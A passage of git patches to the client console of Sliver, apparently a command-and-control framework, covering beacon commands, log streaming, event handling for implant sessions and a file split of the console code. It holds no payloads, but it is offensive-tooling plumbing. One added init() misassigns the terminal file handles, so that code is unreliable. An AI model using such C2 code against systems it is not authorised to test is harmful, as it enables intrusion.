SelectBeacon - Interactive menu for the user to select an session, optionally only display live sessions. func SelectBeacon(con *console.SliverClient) (*clientpb.Beacon, error) { grpcCtx, cancel := con.GrpcContext(nil) defer cancel() diff --git a/client/command/beacons/prune.go b/client/command/beacons/prune.go index b3e48cd0dd..b1a7910d9f 100644 --- a/client/command/beacons/prune.go +++ b/client/command/beacons/prune.go @@ -22,14 +22,13 @@ import ( "time" "github.com/AlecAivazis/survey/v2" - "github.com/spf13/cobra" - "github.com/bishopfox/sliver/client/console" "github.com/bishopfox/sliver/protobuf/clientpb" "github.com/bishopfox/sliver/protobuf/commonpb" + "github.com/spf13/cobra" ) -// BeaconsPruneCmd - Prune stale beacons automatically +// BeaconsPruneCmd - Prune stale beacons automatically. func BeaconsPruneCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { duration, _ := cmd.Flags().GetString("duration") pruneDuration, err := time.ParseDuration(duration) diff --git a/client/command/beacons/rm.go b/client/command/beacons/rm.go index c8974b5d92..4924b6c8a1 100644 --- a/client/command/beacons/rm.go +++ b/client/command/beacons/rm.go @@ -19,12 +19,11 @@ package beacons */ import ( - "github.com/spf13/cobra" - "github.com/bishopfox/sliver/client/console" + "github.com/spf13/cobra" ) -// BeaconsRmCmd - Display/interact with beacons +// BeaconsRmCmd - Display/interact with beacons. func BeaconsRmCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { beacon, err := SelectBeacon(con) if err != nil { diff --git a/client/command/beacons/watch.go b/client/command/beacons/watch.go index f5a6699b75..242c365fb7 100644 --- a/client/command/beacons/watch.go +++ b/client/command/beacons/watch.go @@ -24,13 +24,12 @@ import ( "strings" "time" - "github.com/spf13/cobra" - "github.com/bishopfox/sliver/client/console" "github.com/bishopfox/sliver/protobuf/commonpb" + "github.com/spf13/cobra" ) -// BeaconsWatchCmd - Watch your beacons in real-ish time +// BeaconsWatchCmd - Watch your beacons in real-ish time. func BeaconsWatchCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { done := waitForInput() defer func() { diff --git a/client/command/generate/helpers.go b/client/command/generate/helpers.go index b545768661..186009bbfd 100644 --- a/client/command/generate/helpers.go +++ b/client/command/generate/helpers.go @@ -3,6 +3,7 @@ package generate import ( "context" "fmt" + "time" "github.com/bishopfox/sliver/client/console" "github.com/bishopfox/sliver/protobuf/clientpb" @@ -122,7 +123,7 @@ func OSCompleter(con *console.SliverClient) carapace.Action { } return carapace.ActionValues(results...).Tag("operating systems") - }) + }).Cache(10 * time.Second) } // FormatCompleter completes build formats. diff --git a/client/command/settings/tables.go b/client/command/settings/tables.go index 951eb64627..fe02c42424 100644 --- a/client/command/settings/tables.go +++ b/client/command/settings/tables.go @@ -20,6 +20,7 @@ package settings import ( "fmt" + "os" "strings" "github.com/AlecAivazis/survey/v2" @@ -30,6 +31,21 @@ import ( "golang.org/x/term" ) +// Those variables are very important to realine low-level code: all virtual terminal +// escape sequences should always be sent and read through the raw terminal file, even +// if people start using io.MultiWriters and os.Pipes involving basic IO. +var ( + stdoutTerm *os.File + stdinTerm *os.File + stderrTerm *os.File +) + +func init() { + stdoutTerm = os.Stdout + stdoutTerm = os.Stderr + stderrTerm = os.Stdin +} + var ( tableStyles = map[string]table.Style{ // Sliver styles @@ -151,6 +167,17 @@ func GetTableWithBordersStyle(con *console.SliverClient) table.Style { return value } +// SetMaxTableSize automatically sets the maximum width of the table based on +// the current terminal width: excess columns are wrapped by the table itself. +func SetMaxTableSize(tb table.Writer) { + width, _, err := term.GetSize(int(stderrTerm.Fd())) + if err != nil { + width, _ = 80, 80 + } + + tb.SetAllowedRowLength(width) +} + // GetPageSize - Page size for tables. func GetPageSize() int { return 10 diff --git a/client/console/console.go b/client/console/console.go index 52e66c8e38..020953bb7f 100644 --- a/client/console/console.go +++ b/client/console/console.go @@ -230,11 +230,11 @@ func (con *SliverClient) connect(conn *grpc.ClientConn) { // defer consoleLog.Close() // // Ascii cast sessions (complete terminal interface). - asciicastLog := getConsoleAsciicastFile() + // asciicastLog := getConsoleAsciicastFile() // defer asciicastLog.Close() - asciicastStream, err := con.ClientLogStream("asciicast") - con.setupAsciicastRecord(asciicastLog, asciicastStream) + // asciicastStream, err := con.ClientLogStream("asciicast") + // con.setupAsciicastRecord(asciicastLog, asciicastStream) } } From 0c9f9186caf660b91707fdd4a20d3a2eebe1e40d Mon Sep 17 00:00:00 2001 From: maxlandon Date: Tue, 25 Jul 2023 00:52:28 +0200 Subject: [PATCH 035/124] Fix of all client logstreams, optimized for completion Split console code in files. --- client/cli/cli.go | 4 +- client/command/server.go | 2 +- client/console/console.go | 649 ++++--------------------------------- client/console/events.go | 252 ++++++++++++++ client/console/implant.go | 191 +++++++++++ client/console/log.go | 78 ++++- client/console/readline.go | 158 +++++++++ client/transport/client.go | 4 + 8 files changed, 740 insertions(+), 598 deletions(-) create mode 100644 client/console/events.go create mode 100644 client/console/implant.go create mode 100644 client/console/readline.go diff --git a/client/cli/cli.go b/client/cli/cli.go index 7793396d72..7b54112e82 100644 --- a/client/cli/cli.go +++ b/client/cli/cli.go @@ -68,7 +68,7 @@ func Execute() { // Pre/post runners and completions. command.BindRunners(rootCmd, true, preRunClient(con)) - // command.BindRunners(rootCmd, false, postRunClient(con)) + command.BindRunners(rootCmd, false, postRunClient(con)) carapace.Gen(rootCmd) @@ -130,6 +130,6 @@ func preRunClient(con *client.SliverClient) func(_ *cobra.Command, _ []string) e // After running any CLI entry command, correctly disconnect from the server. func postRunClient(con *client.SliverClient) func(_ *cobra.Command, _ []string) error { return func(_ *cobra.Command, _ []string) error { - return con.Teamclient.Disconnect() + return con.Disconnect() } } diff --git a/client/command/server.go b/client/command/server.go index 714b77ed52..b76dc5a738 100644 --- a/client/command/server.go +++ b/client/command/server.go @@ -218,7 +218,7 @@ func BindRunners(root *cobra.Command, pre bool, runs ...func(_ *cobra.Command, _ if pre { cmdComps.PreRun(completionRun) } else { - cmdComps.PostRun(completionRun) + // cmdComps.PostRun(completionRun) } } } diff --git a/client/console/console.go b/client/console/console.go index 020953bb7f..8994f072ea 100644 --- a/client/console/console.go +++ b/client/console/console.go @@ -19,13 +19,10 @@ package console */ import ( - "bufio" "context" - "errors" "fmt" "io" "log" - insecureRand "math/rand" "os" "path/filepath" "strconv" @@ -36,21 +33,18 @@ import ( "github.com/bishopfox/sliver/client/assets" consts "github.com/bishopfox/sliver/client/constants" "github.com/bishopfox/sliver/client/core" - "github.com/bishopfox/sliver/client/prelude" "github.com/bishopfox/sliver/client/spin" "github.com/bishopfox/sliver/client/transport" "github.com/bishopfox/sliver/client/version" "github.com/bishopfox/sliver/protobuf/clientpb" "github.com/bishopfox/sliver/protobuf/commonpb" "github.com/bishopfox/sliver/protobuf/rpcpb" - "github.com/gofrs/uuid" "github.com/reeflective/console" "github.com/reeflective/readline" "github.com/reeflective/team/client" "github.com/spf13/cobra" "golang.org/x/exp/slog" "google.golang.org/grpc" - "google.golang.org/protobuf/proto" ) const ( @@ -100,8 +94,10 @@ type SliverClient struct { IsCLI bool IsCompleting bool + // Logging jsonHandler slog.Handler printf func(format string, args ...any) (int, error) + closeLogs func() // Sliver-specific Rpc rpcpb.SliverRPCClient @@ -122,7 +118,7 @@ func NewSliverClient(teamclient *transport.Teamclient) (*SliverClient, []client. bindClient := func(clientConn any) error { grpcClient, ok := clientConn.(*grpc.ClientConn) if !ok || grpcClient == nil { - return errors.New("No gRPC client to use for service") + return client.ErrNoTeamclient } // Register our core Sliver RPC client, and start monitoring @@ -213,319 +209,66 @@ func (con *SliverClient) connect(conn *grpc.ClientConn) { go con.startEventLoop() go core.TunnelLoop(con.Rpc) - // Don't stream console logs and asciicast when the client - // is used within a completion subcommand: not only this - // output is not useful to anyone, but this strongly increases - // changes of stdio being wired to pipes it should not, etc. - if !con.IsCompleting && con.Settings.ConsoleLogs { - // Classic logs - consoleLog := getConsoleLogFile() - - consoleLogStream, err := con.ClientLogStream("json") - if err != nil { - fmt.Printf("Could not get client log stream: %s", err) - } - - con.setupLogger(consoleLog, consoleLogStream) - // defer consoleLog.Close() - // - // Ascii cast sessions (complete terminal interface). - // asciicastLog := getConsoleAsciicastFile() - // defer asciicastLog.Close() - - // asciicastStream, err := con.ClientLogStream("asciicast") - // con.setupAsciicastRecord(asciicastLog, asciicastStream) - } + // Stream logs/asciicasts + con.startClientLog() } -func (con *SliverClient) startEventLoop() { - eventStream, err := con.Rpc.Events(context.Background(), &commonpb.Empty{}) - if err != nil { - fmt.Printf(Warn+"%s\n", err) - return - } - for { - event, err := eventStream.Recv() - if err == io.EOF || event == nil { - return - } - - go con.triggerEventListeners(event) - - // Trigger event based on type - switch event.EventType { - - case consts.CanaryEvent: - con.PrintEventErrorf(Bold+"WARNING: %s%s has been burned (DNS Canary)", Normal, event.Session.Name) - sessions := con.GetSessionsByName(event.Session.Name) - for _, session := range sessions { - shortID := strings.Split(session.ID, "-")[0] - con.PrintErrorf("\t🔥 Session %s is affected", shortID) - } - - case consts.WatchtowerEvent: - msg := string(event.Data) - con.PrintEventErrorf(Bold+"WARNING: %s%s has been burned (seen on %s)", Normal, event.Session.Name, msg) - sessions := con.GetSessionsByName(event.Session.Name) - for _, session := range sessions { - shortID := strings.Split(session.ID, "-")[0] - con.PrintErrorf("\t🔥 Session %s is affected", shortID) - } - - case consts.JoinedEvent: - if con.Settings.UserConnect { - con.PrintInfof("%s has joined the game", event.Client.Operator.Name) - } - case consts.LeftEvent: - if con.Settings.UserConnect { - con.PrintInfof("%s left the game", event.Client.Operator.Name) - } - - case consts.JobStoppedEvent: - job := event.Job - con.PrintErrorf("Job #%d stopped (%s/%s)", job.ID, job.Protocol, job.Name) - - case consts.SessionOpenedEvent: - session := event.Session - currentTime := time.Now().Format(time.RFC1123) - shortID := strings.Split(session.ID, "-")[0] - con.PrintEventInfof("Session %s %s - %s (%s) - %s/%s - %v", - shortID, session.Name, session.RemoteAddress, session.Hostname, session.OS, session.Arch, currentTime) - - // Prelude Operator - if prelude.ImplantMapper != nil { - err = prelude.ImplantMapper.AddImplant(session, nil) - if err != nil { - con.PrintErrorf("Could not add session to Operator: %s", err) - } - } - - case consts.SessionUpdateEvent: - session := event.Session - currentTime := time.Now().Format(time.RFC1123) - shortID := strings.Split(session.ID, "-")[0] - con.PrintInfof("Session %s has been updated - %v", shortID, currentTime) - - case consts.SessionClosedEvent: - session := event.Session - currentTime := time.Now().Format(time.RFC1123) - shortID := strings.Split(session.ID, "-")[0] - con.PrintEventErrorf("Lost session %s %s - %s (%s) - %s/%s - %v", - shortID, session.Name, session.RemoteAddress, session.Hostname, session.OS, session.Arch, currentTime) - activeSession := con.ActiveTarget.GetSession() - core.GetTunnels().CloseForSession(session.ID) - core.CloseCursedProcesses(session.ID) - if activeSession != nil && activeSession.ID == session.ID { - con.ActiveTarget.Set(nil, nil) - con.PrintErrorf("Active session disconnected") - } - if prelude.ImplantMapper != nil { - err = prelude.ImplantMapper.RemoveImplant(session) - if err != nil { - con.PrintErrorf("Could not remove session from Operator: %s", err) - } - con.PrintInfof("Removed session %s from Operator", session.Name) - } - - case consts.BeaconRegisteredEvent: - beacon := &clientpb.Beacon{} - proto.Unmarshal(event.Data, beacon) - currentTime := time.Now().Format(time.RFC1123) - shortID := strings.Split(beacon.ID, "-")[0] - con.PrintEventInfof("Beacon %s %s - %s (%s) - %s/%s - %v", - shortID, beacon.Name, beacon.RemoteAddress, beacon.Hostname, beacon.OS, beacon.Arch, currentTime) - - // Prelude Operator - if prelude.ImplantMapper != nil { - err = prelude.ImplantMapper.AddImplant(beacon, func(taskID string, cb func(*clientpb.BeaconTask)) { - con.AddBeaconCallback(taskID, cb) - }) - if err != nil { - con.PrintErrorf("Could not add beacon to Operator: %s", err) - } - } - - case consts.BeaconTaskResultEvent: - con.triggerBeaconTaskCallback(event.Data) - } +func (con *SliverClient) Disconnect() error { + // Close all RPC streams and local files. + con.CloseClientLog() - con.triggerReactions(event) - } + // Close the RPC client connection. + return con.Teamclient.Disconnect() } -// CreateEventListener - creates a new event listener and returns its ID. -func (con *SliverClient) CreateEventListener() (string, <-chan *clientpb.Event) { - listener := make(chan *clientpb.Event, 100) - listenerID, _ := uuid.NewV4() - con.EventListeners.Store(listenerID.String(), listener) - return listenerID.String(), listener -} - -// RemoveEventListener - removes an event listener given its id. -func (con *SliverClient) RemoveEventListener(listenerID string) { - value, ok := con.EventListeners.LoadAndDelete(listenerID) - if ok { - close(value.(chan *clientpb.Event)) - } -} - -func (con *SliverClient) triggerEventListeners(event *clientpb.Event) { - con.EventListeners.Range(func(key, value interface{}) bool { - listener := value.(chan *clientpb.Event) - listener <- event // Do not block while sending the event to the listener - return true - }) -} +// Expose or hide commands if the active target does support them (or not). +// Ex; hide Windows commands on Linux implants, Wireguard tools on HTTP C2, etc. +func (con *SliverClient) ExposeCommands() { + con.App.ShowCommands() -func (con *SliverClient) triggerReactions(event *clientpb.Event) { - reactions := core.Reactions.On(event.EventType) - if len(reactions) == 0 { + if con.ActiveTarget.session == nil && con.ActiveTarget.beacon == nil { return } - // We need some special handling for SessionOpenedEvent to - // set the new session as the active session - currentActiveSession, currentActiveBeacon := con.ActiveTarget.Get() - defer func() { - con.ActiveTarget.Set(currentActiveSession, currentActiveBeacon) - }() - - if event.EventType == consts.SessionOpenedEvent { - con.ActiveTarget.Set(nil, nil) + filters := make([]string, 0) - con.ActiveTarget.Set(event.Session, nil) - } else if event.EventType == consts.BeaconRegisteredEvent { - con.ActiveTarget.Set(nil, nil) + // Target type. + switch { + case con.ActiveTarget.session != nil: + session := con.ActiveTarget.session - beacon := &clientpb.Beacon{} - proto.Unmarshal(event.Data, beacon) - con.ActiveTarget.Set(nil, beacon) - } + // Forbid all beacon-only commands. + filters = append(filters, consts.BeaconCmdsFilter) - for _, reaction := range reactions { - for _, line := range reaction.Commands { - con.PrintInfof(Bold+"Execute reaction: '%s'"+Normal, line) - err := con.App.ActiveMenu().RunCommand(line) - if err != nil { - con.PrintErrorf("Reaction command error: %s\n", err) - } + // Operating system + if session.OS != "windows" { + filters = append(filters, consts.WindowsCmdsFilter) } - } -} -// triggerBeaconTaskCallback - Triggers the callback for a beacon task. -func (con *SliverClient) triggerBeaconTaskCallback(data []byte) { - task := &clientpb.BeaconTask{} - err := proto.Unmarshal(data, task) - if err != nil { - con.PrintErrorf("\rCould not unmarshal beacon task: %s", err) - return - } - ctx, cancel := context.WithTimeout(context.Background(), 10*time.Second) - defer cancel() - beacon, _ := con.Rpc.GetBeacon(ctx, &clientpb.Beacon{ID: task.BeaconID}) - - // If the callback is not in our map then we don't do anything, the beacon task - // was either issued by another operator in multiplayer mode or the client process - // was restarted between the time the task was created and when the server got the result - con.BeaconTaskCallbacksMutex.Lock() - defer con.BeaconTaskCallbacksMutex.Unlock() - if callback, ok := con.BeaconTaskCallbacks[task.ID]; ok { - if con.Settings.BeaconAutoResults { - if beacon != nil { - con.PrintSuccessf("%s completed task %s", beacon.Name, strings.Split(task.ID, "-")[0]) - } - task_content, err := con.Rpc.GetBeaconTaskContent(ctx, &clientpb.BeaconTask{ - ID: task.ID, - }) - con.Printf(Clearln + "\r") - if err == nil { - callback(task_content) - } else { - con.PrintErrorf("Could not get beacon task content: %s", err) - } + // C2 stack + if session.Transport != "wg" { + filters = append(filters, consts.WireguardCmdsFilter) } - delete(con.BeaconTaskCallbacks, task.ID) - } -} - -func (con *SliverClient) AddBeaconCallback(taskID string, callback BeaconTaskCallback) { - con.BeaconTaskCallbacksMutex.Lock() - defer con.BeaconTaskCallbacksMutex.Unlock() - con.BeaconTaskCallbacks[taskID] = callback -} -func (con *SliverClient) GetPrompt() string { - prompt := Underline + "sliver" + Normal - if con.IsServer { - prompt = Bold + "[server] " + Normal + Underline + "sliver" + Normal - } - if con.ActiveTarget.GetSession() != nil { - prompt += fmt.Sprintf(Bold+Red+" (%s)%s", con.ActiveTarget.GetSession().Name, Normal) - } else if con.ActiveTarget.GetBeacon() != nil { - prompt += fmt.Sprintf(Bold+Blue+" (%s)%s", con.ActiveTarget.GetBeacon().Name, Normal) - } - prompt += " > " - return Clearln + prompt -} + case con.ActiveTarget.beacon != nil: + beacon := con.ActiveTarget.beacon -func (con *SliverClient) PrintLogo() { - serverVer, err := con.Rpc.GetVersion(context.Background(), &commonpb.Empty{}) - if err != nil { - panic(err.Error()) - } - dirty := "" - if serverVer.Dirty { - dirty = fmt.Sprintf(" - %sDirty%s", Bold, Normal) - } - serverSemVer := fmt.Sprintf("%d.%d.%d", serverVer.Major, serverVer.Minor, serverVer.Patch) - - logo := asciiLogos[insecureRand.Intn(len(asciiLogos))] - fmt.Println(strings.ReplaceAll(logo, "\n", "\r\n")) - fmt.Println("All hackers gain " + abilities[insecureRand.Intn(len(abilities))] + "\r") - fmt.Printf(Info+"Server v%s - %s%s\r\n", serverSemVer, serverVer.Commit, dirty) - if version.GitCommit != serverVer.Commit { - fmt.Printf(Info+"Client %s\r\n", version.FullVersion()) - } - fmt.Println(Info + "Welcome to the sliver shell, please type 'help' for options\r") - if serverVer.Major != int32(version.SemanticVersion()[0]) { - fmt.Printf(Warn + "Warning: Client and server may be running incompatible versions.\r\n") - } - con.CheckLastUpdate() -} + // Forbid all session-only commands. + filters = append(filters, consts.SessionCmdsFilter) -func (con *SliverClient) CheckLastUpdate() { - now := time.Now() - lastUpdate := getLastUpdateCheck() - compiledAt, err := version.Compiled() - if err != nil { - log.Printf("Failed to parse compiled at timestamp %s", err) - return - } + // Operating system + if beacon.OS != "windows" { + filters = append(filters, consts.WindowsCmdsFilter) + } - day := 24 * time.Hour - if compiledAt.Add(30 * day).Before(now) { - if lastUpdate == nil || lastUpdate.Add(30*day).Before(now) { - con.Printf(Info + "Check for updates with the 'update' command\n\n") + // C2 stack + if beacon.Transport != "wg" { + filters = append(filters, consts.WireguardCmdsFilter) } } -} -func getLastUpdateCheck() *time.Time { - appDir := assets.GetRootAppDir() - lastUpdateCheckPath := filepath.Join(appDir, consts.LastUpdateCheckFileName) - data, err := os.ReadFile(lastUpdateCheckPath) - if err != nil { - log.Printf("Failed to read last update check %s", err) - return nil - } - unixTime, err := strconv.Atoi(string(data)) - if err != nil { - log.Printf("Failed to parse last update check %s", err) - return nil - } - lastUpdate := time.Unix(int64(unixTime), 0) - return &lastUpdate + // Use all defined filters. + con.App.HideCommands(filters...) } func (con *SliverClient) GetSession(arg string) *clientpb.Session { @@ -586,25 +329,6 @@ func (con *SliverClient) GetActiveSessionConfig() *clientpb.ImplantConfig { return config } -// exitConsole prompts the user for confirmation to exit the console. -func (c *SliverClient) exitConsole(_ *console.Console) { - reader := bufio.NewReader(os.Stdin) - fmt.Print("Confirm exit (Y/y, Ctrl-C): ") - text, _ := reader.ReadString('\n') - answer := strings.TrimSpace(text) - - if (answer == "Y") || (answer == "y") { - os.Exit(0) - } -} - -// exitImplantMenu uses the background command to detach from the implant menu. -func (c *SliverClient) exitImplantMenu(_ *console.Console) { - root := c.App.Menu(consts.ImplantMenu).Command - root.SetArgs([]string{"background"}) - root.Execute() -} - func (con *SliverClient) SpinUntil(message string, ctrl chan bool) { go spin.Until(os.Stdout, message, ctrl) } @@ -651,281 +375,36 @@ func (con *SliverClient) GrpcContext(cmd *cobra.Command) (context.Context, conte return context.WithTimeout(context.Background(), timeout) } -// -// -------------------------- [ Active Target ] -------------------------- -// - -type ActiveTarget struct { - session *clientpb.Session - beacon *clientpb.Beacon - observers map[int]Observer - observerID int - con *SliverClient -} - -// GetSessionInteractive - Get the active target(s). -func (s *ActiveTarget) GetInteractive() (*clientpb.Session, *clientpb.Beacon) { - if s.session == nil && s.beacon == nil { - fmt.Printf(Warn + "Please select a session or beacon via `use`\n") - return nil, nil - } - return s.session, s.beacon -} - -// GetSessionInteractive - Get the active target(s). -func (s *ActiveTarget) Get() (*clientpb.Session, *clientpb.Beacon) { - return s.session, s.beacon -} - -// GetSessionInteractive - GetSessionInteractive the active session. -func (s *ActiveTarget) GetSessionInteractive() *clientpb.Session { - if s.session == nil { - fmt.Printf(Warn + "Please select a session via `use`\n") - return nil - } - return s.session -} - -// GetSession - Same as GetSession() but doesn't print a warning. -func (s *ActiveTarget) GetSession() *clientpb.Session { - return s.session -} - -// GetBeaconInteractive - Get beacon interactive the active session. -func (s *ActiveTarget) GetBeaconInteractive() *clientpb.Beacon { - if s.beacon == nil { - fmt.Printf(Warn + "Please select a beacon via `use`\n") - return nil - } - return s.beacon -} - -// GetBeacon - Same as GetBeacon() but doesn't print a warning. -func (s *ActiveTarget) GetBeacon() *clientpb.Beacon { - return s.beacon -} - -// IsSession - Is the current target a session? -func (s *ActiveTarget) IsSession() bool { - return s.session != nil -} - -// AddObserver - Observers to notify when the active session changes. -func (s *ActiveTarget) AddObserver(observer Observer) int { - s.observerID++ - s.observers[s.observerID] = observer - return s.observerID -} - -func (s *ActiveTarget) RemoveObserver(observerID int) { - delete(s.observers, observerID) -} - -func (s *ActiveTarget) Request(cmd *cobra.Command) *commonpb.Request { - if s.session == nil && s.beacon == nil { - return nil - } - - // One less than the gRPC timeout so that the server should timeout first - timeOutF := int64(defaultTimeout) - 1 - if cmd != nil { - timeOutF, _ = cmd.Flags().GetInt64("timeout") - } - timeout := (int64(time.Second) * timeOutF) - 1 - - req := &commonpb.Request{} - req.Timeout = timeout - - if s.session != nil { - req.Async = false - req.SessionID = s.session.ID - } - if s.beacon != nil { - req.Async = true - req.BeaconID = s.beacon.ID - } - return req -} - -// Set - Change the active session. -func (s *ActiveTarget) Set(session *clientpb.Session, beacon *clientpb.Beacon) { - if session != nil && beacon != nil { - s.con.PrintErrorf("cannot set both an active beacon and an active session") - return - } - - defer s.con.ExposeCommands() - - // Backgrounding - if session == nil && beacon == nil { - s.session = nil - s.beacon = nil - for _, observer := range s.observers { - observer(s.session, s.beacon) - } - - if s.con.IsCLI { - return - } - - // Switch back to server menu. - if s.con.App.ActiveMenu().Name() == consts.ImplantMenu { - s.con.App.SwitchMenu(consts.ServerMenu) - } - +func (con *SliverClient) CheckLastUpdate() { + now := time.Now() + lastUpdate := getLastUpdateCheck() + compiledAt, err := version.Compiled() + if err != nil { + log.Printf("Failed to parse compiled at timestamp %s", err) return } - // Foreground - if session != nil { - s.session = session - s.beacon = nil - for _, observer := range s.observers { - observer(s.session, s.beacon) - } - } else if beacon != nil { - s.beacon = beacon - s.session = nil - for _, observer := range s.observers { - observer(s.session, s.beacon) + day := 24 * time.Hour + if compiledAt.Add(30 * day).Before(now) { + if lastUpdate == nil || lastUpdate.Add(30*day).Before(now) { + con.Printf(Info + "Check for updates with the 'update' command\n\n") } } - - if s.con.IsCLI { - return - } - - // Update menus, prompts and commands - if s.con.App.ActiveMenu().Name() != consts.ImplantMenu { - s.con.App.SwitchMenu(consts.ImplantMenu) - } -} - -// Background - Background the active session. -func (s *ActiveTarget) Background() { - defer s.con.App.ShowCommands() - - s.session = nil - s.beacon = nil - for _, observer := range s.observers { - observer(nil, nil) - } - - // Switch back to server menu. - if !s.con.IsCLI && s.con.App.ActiveMenu().Name() == consts.ImplantMenu { - s.con.App.SwitchMenu(consts.ServerMenu) - } } -// Expose or hide commands if the active target does support them (or not). -// Ex; hide Windows commands on Linux implants, Wireguard tools on HTTP C2, etc. -func (con *SliverClient) ExposeCommands() { - con.App.ShowCommands() - - if con.ActiveTarget.session == nil && con.ActiveTarget.beacon == nil { - return +func getLastUpdateCheck() *time.Time { + appDir := assets.GetRootAppDir() + lastUpdateCheckPath := filepath.Join(appDir, consts.LastUpdateCheckFileName) + data, err := os.ReadFile(lastUpdateCheckPath) + if err != nil { + log.Printf("Failed to read last update check %s", err) + return nil } - - filters := make([]string, 0) - - // Target type. - switch { - case con.ActiveTarget.session != nil: - session := con.ActiveTarget.session - filters = append(filters, consts.BeaconCmdsFilter) - - // Operating system - if session.OS != "windows" { - filters = append(filters, consts.WindowsCmdsFilter) - } - - // C2 stack - if session.Transport != "wg" { - filters = append(filters, consts.WireguardCmdsFilter) - } - - case con.ActiveTarget.beacon != nil: - beacon := con.ActiveTarget.beacon - filters = append(filters, consts.SessionCmdsFilter) - - // Operating system - if beacon.OS != "windows" { - filters = append(filters, consts.WindowsCmdsFilter) - } - - // C2 stack - if beacon.Transport != "wg" { - filters = append(filters, consts.WireguardCmdsFilter) - } + unixTime, err := strconv.Atoi(string(data)) + if err != nil { + log.Printf("Failed to parse last update check %s", err) + return nil } - - // Use all defined filters. - con.App.HideCommands(filters...) -} - -var abilities = []string{ - "first strike", - "vigilance", - "haste", - "indestructible", - "hexproof", - "deathtouch", - "fear", - "epic", - "ninjitsu", - "recover", - "persist", - "conspire", - "reinforce", - "exalted", - "annihilator", - "infect", - "undying", - "living weapon", - "miracle", - "scavenge", - "cipher", - "evolve", - "dethrone", - "hidden agenda", - "prowess", - "dash", - "exploit", - "renown", - "skulk", - "improvise", - "assist", - "jump-start", -} - -var asciiLogos = []string{ - Red + ` - ██████ ██▓ ██▓ ██▒ █▓▓█████ ██▀███ - ▒██ ▒ ▓██▒ ▓██▒▓██░ █▒▓█ ▀ ▓██ ▒ ██▒ - ░ ▓██▄ ▒██░ ▒██▒ ▓██ █▒░▒███ ▓██ ░▄█ ▒ - ▒ ██▒▒██░ ░██░ ▒██ █░░▒▓█ ▄ ▒██▀▀█▄ - ▒██████▒▒░██████▒░██░ ▒▀█░ ░▒████▒░██▓ ▒██▒ - ▒ ▒▓▒ ▒ ░░ ▒░▓ ░░▓ ░ ▐░ ░░ ▒░ ░░ ▒▓ ░▒▓░ - ░ ░▒ ░ ░░ ░ ▒ ░ ▒ ░ ░ ░░ ░ ░ ░ ░▒ ░ ▒░ - ░ ░ ░ ░ ░ ▒ ░ ░░ ░ ░░ ░ - ░ ░ ░ ░ ░ ░ ░ ░ -` + Normal, - - Green + ` - ███████╗██╗ ██╗██╗ ██╗███████╗██████╗ - ██╔════╝██║ ██║██║ ██║██╔════╝██╔══██╗ - ███████╗██║ ██║██║ ██║█████╗ ██████╔╝ - ╚════██║██║ ██║╚██╗ ██╔╝██╔══╝ ██╔══██╗ - ███████║███████╗██║ ╚████╔╝ ███████╗██║ ██║ - ╚══════╝╚══════╝╚═╝ ╚═══╝ ╚══════╝╚═╝ ╚═╝ -` + Normal, - - Bold + Gray + ` -.------..------..------..------..------..------. -|S.--. ||L.--. ||I.--. ||V.--. ||E.--. ||R.--. | -| :/\: || :/\: || (\/) || :(): || (\/) || :(): | -| :\/: || (__) || :\/: || ()() || :\/: || ()() | -| '--'S|| '--'L|| '--'I|| '--'V|| '--'E|| '--'R| -` + "`------'`------'`------'`------'`------'`------'" + ` -` + Normal, + lastUpdate := time.Unix(int64(unixTime), 0) + return &lastUpdate } diff --git a/client/console/events.go b/client/console/events.go new file mode 100644 index 0000000000..ab2c660141 --- /dev/null +++ b/client/console/events.go @@ -0,0 +1,252 @@ +package console + +/* + Sliver Implant Framework + Copyright (C) 2019 Bishop Fox + + This program is free software: you can redistribute it and/or modify + it under the terms of the GNU General Public License as published by + the Free Software Foundation, either version 3 of the License, or + (at your option) any later version. + + This program is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + GNU General Public License for more details. + + You should have received a copy of the GNU General Public License + along with this program. If not, see . +*/ + +import ( + "context" + "fmt" + "io" + "strings" + "time" + + consts "github.com/bishopfox/sliver/client/constants" + "github.com/bishopfox/sliver/client/core" + "github.com/bishopfox/sliver/client/prelude" + "github.com/bishopfox/sliver/protobuf/clientpb" + "github.com/bishopfox/sliver/protobuf/commonpb" + "github.com/gofrs/uuid" + "google.golang.org/protobuf/proto" +) + +func (con *SliverClient) startEventLoop() { + eventStream, err := con.Rpc.Events(context.Background(), &commonpb.Empty{}) + if err != nil { + fmt.Printf(Warn+"%s\n", err) + return + } + for { + event, err := eventStream.Recv() + if err == io.EOF || event == nil { + return + } + + go con.triggerEventListeners(event) + + // Trigger event based on type + switch event.EventType { + + case consts.CanaryEvent: + con.PrintEventErrorf(Bold+"WARNING: %s%s has been burned (DNS Canary)", Normal, event.Session.Name) + sessions := con.GetSessionsByName(event.Session.Name) + for _, session := range sessions { + shortID := strings.Split(session.ID, "-")[0] + con.PrintErrorf("\t🔥 Session %s is affected", shortID) + } + + case consts.WatchtowerEvent: + msg := string(event.Data) + con.PrintEventErrorf(Bold+"WARNING: %s%s has been burned (seen on %s)", Normal, event.Session.Name, msg) + sessions := con.GetSessionsByName(event.Session.Name) + for _, session := range sessions { + shortID := strings.Split(session.ID, "-")[0] + con.PrintErrorf("\t🔥 Session %s is affected", shortID) + } + + case consts.JoinedEvent: + if con.Settings.UserConnect { + con.PrintInfof("%s has joined the game", event.Client.Operator.Name) + } + case consts.LeftEvent: + if con.Settings.UserConnect { + con.PrintInfof("%s left the game", event.Client.Operator.Name) + } + + case consts.JobStoppedEvent: + job := event.Job + con.PrintErrorf("Job #%d stopped (%s/%s)", job.ID, job.Protocol, job.Name) + + case consts.SessionOpenedEvent: + session := event.Session + currentTime := time.Now().Format(time.RFC1123) + shortID := strings.Split(session.ID, "-")[0] + con.PrintEventInfof("Session %s %s - %s (%s) - %s/%s - %v", + shortID, session.Name, session.RemoteAddress, session.Hostname, session.OS, session.Arch, currentTime) + + // Prelude Operator + if prelude.ImplantMapper != nil { + err = prelude.ImplantMapper.AddImplant(session, nil) + if err != nil { + con.PrintErrorf("Could not add session to Operator: %s", err) + } + } + + case consts.SessionUpdateEvent: + session := event.Session + currentTime := time.Now().Format(time.RFC1123) + shortID := strings.Split(session.ID, "-")[0] + con.PrintInfof("Session %s has been updated - %v", shortID, currentTime) + + case consts.SessionClosedEvent: + session := event.Session + currentTime := time.Now().Format(time.RFC1123) + shortID := strings.Split(session.ID, 